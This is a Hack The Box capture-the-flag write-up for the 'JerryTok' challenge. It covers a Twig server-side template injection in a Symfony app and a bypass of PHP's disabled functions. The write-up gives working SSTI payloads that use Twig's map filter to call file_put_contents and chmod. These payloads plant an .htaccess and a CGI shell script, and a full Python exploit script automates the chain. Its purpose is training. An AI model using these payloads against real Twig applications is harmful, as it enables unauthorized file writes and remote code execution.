$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Symfony 7.0 PHP app with Twig SSTI via createTemplate(), but exec functions disabled and open_basedir=/www. Solution: Use Twig map filter to call file_put_contents, write .htaccess enabling CGI + shell script calling SUID /readflag, bypassing all PHP restrictions.
Welcome to JerryTok, your portal to the nearest jerryboree, where mediocrity is celebrated! Dive into the daily escapades of the wonderfully average, from mundane mishaps to modest triumphs. Share your moments, connect, and laugh as you find glory in the ordinary. Join now and embrace the delightfully dull at your local jerryboree!
A Symfony 7.0 PHP web application using Twig 3.8.0 as the template engine, running on Apache with PHP-CGI on Alpine Linux. The goal is to read a flag at /root/flag that is only accessible via a SUID root binary /readflag.
In DefaultController.php, the location GET parameter is directly interpolated into a Twig template string via createTemplate() — a textbook Server-Side Template Injection:
$location = $request->get('location'); $message = $this->container->get('twig')->createTemplate( "Located at: {$location} from your ship's computer" )->render();
disable_functions (from entrypoint.sh):
exec, system, popen, proc_open, shell_exec, passthru, ini_set, putenv, pfsockopen, fsockopen, socket_create, mail
All standard command execution functions are blocked.
open_basedir = /www — PHP file operations restricted to the /www directory only.
Flag location: /root/flag, readable only by root. A SUID root binary /readflag (chmod 4755) must be executed to retrieve it:
int main() { setuid(0); system("/bin/cat /root/flag"); }
Apache httpd.conf loads mod_cgi and has ScriptAlias /cgi-bin /usr/bin. Crucially, AllowOverride All is set for both / and /www/public, meaning .htaccess files are fully processed.
The file .htacess (single 's') is a deliberate typo — Apache only reads .htaccess (double 's'), so Symfony's rewrite rules are NOT active. This means we can write our own .htaccess and it will be the authoritative one.
Twig 3.8.0: String callbacks in |reduce() and |sort() return 500 errors, but |map("func") works — it calls func(value, key) for each element in a hash. Using a hash {key: value}|map("func") calls func(value, key), giving control over both arguments.
file_put_contents and chmod are NOT in the disable_functions list — they can be called via the |map filter trick.
GET /?location={{7*7}}
→ "Located at: 49 from your ship's computer"
Confirm Twig version:
GET /?location={{constant("Twig\\Environment::VERSION")}}
→ 3.8.0
.htaccess enabling CGI execution for .sh filesUsing Twig SSTI with |map("file_put_contents") on a hash where key = content and value = filepath:
{% set x = {"Options +ExecCGI\nAddHandler cgi-script .sh": "/www/public/.htaccess"}|map("file_put_contents") %}
The map filter iterates over the hash and calls file_put_contents(value, key) → file_put_contents("/www/public/.htaccess", "Options +ExecCGI\nAddHandler cgi-script .sh").
Newlines are actual \n characters passed via URL encoding (%0A).
/readflag{% set x = {"#!/bin/sh\necho Content-type: text/plain\necho\n/readflag": "/www/public/flag.sh"}|map("file_put_contents") %}
The CGI script outputs proper HTTP headers (Content-type + blank line separator) then executes the SUID binary.
{% set x = {511: "/www/public/flag.sh"}|map("chmod") %}
511 decimal = 0777 octal. Calls chmod("/www/public/flag.sh", 511).
GET /flag.sh
→ HTB{REDACTED}
Apache executes flag.sh as a CGI script — a separate shell process, NOT PHP. This completely bypasses disable_functions and open_basedir. The SUID /readflag binary does setuid(0) and reads /root/flag.
#!/usr/bin/env python3 """JerryTok - Twig SSTI → CGI RCE exploit""" import requests import sys import time def exploit(target_url): target = target_url.rstrip("/") # Step 0: Verify SSTI r = requests.get(target, params={"location": "{{7*7}}"}, timeout=10) assert "49" in r.text, "SSTI not working" print("[+] SSTI confirmed") # Step 1: Write .htaccess enabling CGI for .sh files htaccess_content = "Options +ExecCGI\nAddHandler cgi-script .sh" payload1 = '{%% set x = {"%s": "/www/public/.htaccess"}|map("file_put_contents") %%}' % htaccess_content requests.get(target, params={"location": payload1}, timeout=10) print("[+] .htaccess written") # Step 2: Write CGI shell script calling /readflag cgi_content = "#!/bin/sh\necho Content-type: text/plain\necho\n/readflag" payload2 = '{%% set x = {"%s": "/www/public/flag.sh"}|map("file_put_contents") %%}' % cgi_content requests.get(target, params={"location": payload2}, timeout=10) print("[+] CGI script written") # Step 3: chmod +x the CGI script payload3 = '{% set x = {511: "/www/public/flag.sh"}|map("chmod") %}' requests.get(target, params={"location": payload3}, timeout=10) print("[+] CGI script made executable") # Step 4: Execute CGI script time.sleep(0.5) r = requests.get(f"{target}/flag.sh", timeout=10) print(f"[*] Flag: {r.text.strip()}") return r.text.strip() if __name__ == "__main__": exploit(sys.argv[1])
createTemplate() input|map("file_put_contents") with a hash bypasses the need for |reduce/|sort (which were broken in Twig 3.8.0 for string callbacks) and allows writing arbitrary files within open_basedirdisable_functions, no open_basedir restrictions apply/readflag escalates privileges to root to read the flag.htacess typo means no existing rewrite rules interfere with our custom .htaccess$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar